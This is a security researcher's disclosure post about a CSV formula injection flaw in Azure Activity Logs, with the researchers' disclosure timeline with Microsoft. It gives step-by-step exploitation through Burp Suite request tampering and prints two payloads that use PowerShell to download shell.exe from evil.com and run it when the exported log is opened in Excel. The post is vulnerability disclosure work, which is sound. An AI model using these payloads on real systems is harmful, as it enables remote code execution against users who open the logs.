Azure Security is a broad subject, and many other sources cover Azure security at a high level – including our own blog post.  However, despite the many security capabilities built into the platform, security vulnerabilities and misconfigurations still exist and can put users at risk.
The goal of this “Cloud Security Risks” series is to shine light on vulnerabilities and attack vectors in major cloud security providers.  In this post, we outline a CSV Formula Injection flaw in Microsoft Azure, as well as the ramifications and impact of such an issue.

At a high level, it was found that an Azure user can attempt (but fail) to create an Azure “Resource Group” with a malicious name.  In setting this name as a Microsoft Excel formula, the system would reject the syntax (due to certain blacklisted characters) but still log the original string in the Azure “Activity Log”.  When a victim user downloaded the – now infected – CSV logs and opened them in Excel, the attacker’s remote code was executed, compromising the user (and likely their Azure account as well).  The single set of Activity Logs also means a lower-privileged user could use this attack to target administrative users.

CSV formula injection is an often-overlooked attack vector with devastating results. This attack involves injecting a malicious Excel formula into a parameter which will be exported or read as a CSV file.  While Excel is not the only application which can read CSV (even Notepad can render the basic structure properly), it’s often used by default due to the ease of editing.

When opening the CSV file in Excel, the file is parsed from comma-separated values (CSV) into the native Excel format, including all the dynamic capabilities that Excel offers.  During that process, any Excel formulas (that are included in the .csv file are executed (ie:  “=A1+B2”).  While this function has legitimate purposes, it is easily abused and can allow for malicious code execution.

First, I will start off with the fact that the permission that is required to exploit this vulnerability is the ability to create “Resource Groups”.

To begin the process of inserting a malicious Excel formula into Microsoft Azure, I navigated to the “Resource groups” page and clicked “+ Add” in the top left.

Another “Resource group” panel will show up, asking for the name of the new resource group and other details. Due to client-side validation, you are unable to proceed if you have a name in the input box that includes blocked characters.

I used the intercepting proxy included with Burp Suite to intercept the requests being made, which allowed me to edit the value being sent in the name parameter, thus bypassing the client-side validation that was in place. The request that needs to be changed is a PUT request to “https://management.azure.com/api/invoke”.

The payload must be inserted to both highlighted locations shown in the screenshot above. For the location within the “x-ms-path-query” header, there are no changes that need to be made to the payload. For the location within the “name” property of the JSON being sent in the body, if the payload includes double quotes, then they must be escaped to correctly match the format required for JSON.

Both locations must include the same payload because of a check that is made to confirm that the name in the URL is equivalent to the name in the body. With double quotes escaped in the body, they will correctly end up being equivalent.

The HTTP 400 response will indicate you made a bad request to the server – that’s to be expected.  The resource group doesn’t need to be created, just the blocked attempt logged.

Now the formula has been injected into the “Activity log” and the malicious payload delivered.

As described in the Azure documentation, “the Azure activity log is a subscription log that provides insight into subscription-level events that have occurred in Azure”.  These logs (previously “Audit logs” or “Operational logs”) include all the details of any write operations, such as PUT, POST, or DELETE, taken on resources in the account subscription. Each log contains the “what, who, and when” information regarding that specific action. Users with read permissions can export a list of these logs to a .csv file for further inspection.

When a user visits the Azure Activity log, they can see a list of recent actions that have happened within their subscription.  At a quick glance, there’s no way of identifying the malicious event somewhere in the logs.  A closer look, however, will identify the attack as type “Error” and will have the name “Update resource group”.

When you click the individual log, you are presented with the information below, as well as some more specific detail in JSON format.

Downloading the full set of logs in Azure is simple – above any query result is a button to download in csv.

After opening in infected logs in Excel, the user will be shown two separate popup boxes. Although these are warnings, they instruct the user specifically to not enable if they don’t trust the source of the file – in this case, Microsoft Azure.  Who is more trustworthy than the vendor themselves?

After clicking through the formula is executed and, in this case, a Command Prompt is opened.

We came up with a formula that demonstrates a real-world attack scenario. This formula will download an executable from a remote server using PowerShell and then run it on the target user’s computer. The external web server is served over HTTP and automatically redirects to my malicious .exe file, because due to Azure’s validation, forward and backward slashes break this vulnerability.

JSON Payload (escaped quotes)

=shell|’Invoke-WebRequest \”evil.com\” -OutFile \”shell.exe\”; Start-Process \”shell.exe\”‘!’A1’

URL Payload (non-escaped quotes)

=shell|’Invoke-WebRequest “evil.com” -OutFile “shell.exe”; Start-Process “shell.exe”‘!’A1’

Here is a short video demonstrating the Command Prompt example written above:

We were disappointed with the Microsoft communication (timeline/detail below) and they turned down offers of further discussion/patch handling, but they did seem to attempt to patch the issue.  After the third contact outreach, we tested the vulnerability again and noticed something different – now there was an appended “.txt” to the end of the CSV download files, making the files Text Files rather than Comma-Separated Values.

No content in the file has been changed and removing the .txt (making it a CSV) again allows for code execution in Excel.

12/21/17 – RSL contacted MSRC about CSV Formula Injection

12/21/17 – MSRC Response (‘Tyler’) – stated that this does not qualify as a security vulnerability with more explanation on an attack scenario. Ticket closed.

12/23/17 – RSL opened a new ticket further explaining the risk and potential impact to users.

12/23/17 – MSRC Response (‘Katie’) escalated the case “for review and follow-up”.

12/23/17 – MSRC Response (Katie) stated this case “would typically not meet the bar” as a security vulnerability.  Once again, a better attack scenario is requested. Ticket closed.

12/26/17 – RSL informed MSRC of the blog post and asked for clarification, confirming MSRC would not be making any changes in response to the two reports (to accurately and fairly provide the vendors response in this post).

12/26/17 – MSRC Response (Katie) escalated the previously closed case for “further review and follow-up”.

12/28/17 – MSRF response from Will (new point of contact), stating that the product team has been notified.  RSL responded asking again for further details/clarification on whether their will be a fix. Will responded again saying that there is a possibility of a change, but no other details.

1/14/18 – RSL outreach on previous thread.  No reply.

1/15/18 – Retesting original vulnerability, RSL identified changes in the logging, adding a “.txt” file extension to the csv log files.

1/24/18 – Full Disclosure

CSV Formula Injection is still a very prevalent issue and present in even large cloud hosting applications.  While there is a tradeoff between user responsibility, log integrity, and platform security, we were surprised to see the risk dismissed without further discussion.

Even so, this blog post is just the first in the Cloud Security Risks series, and will have more on related platforms soon.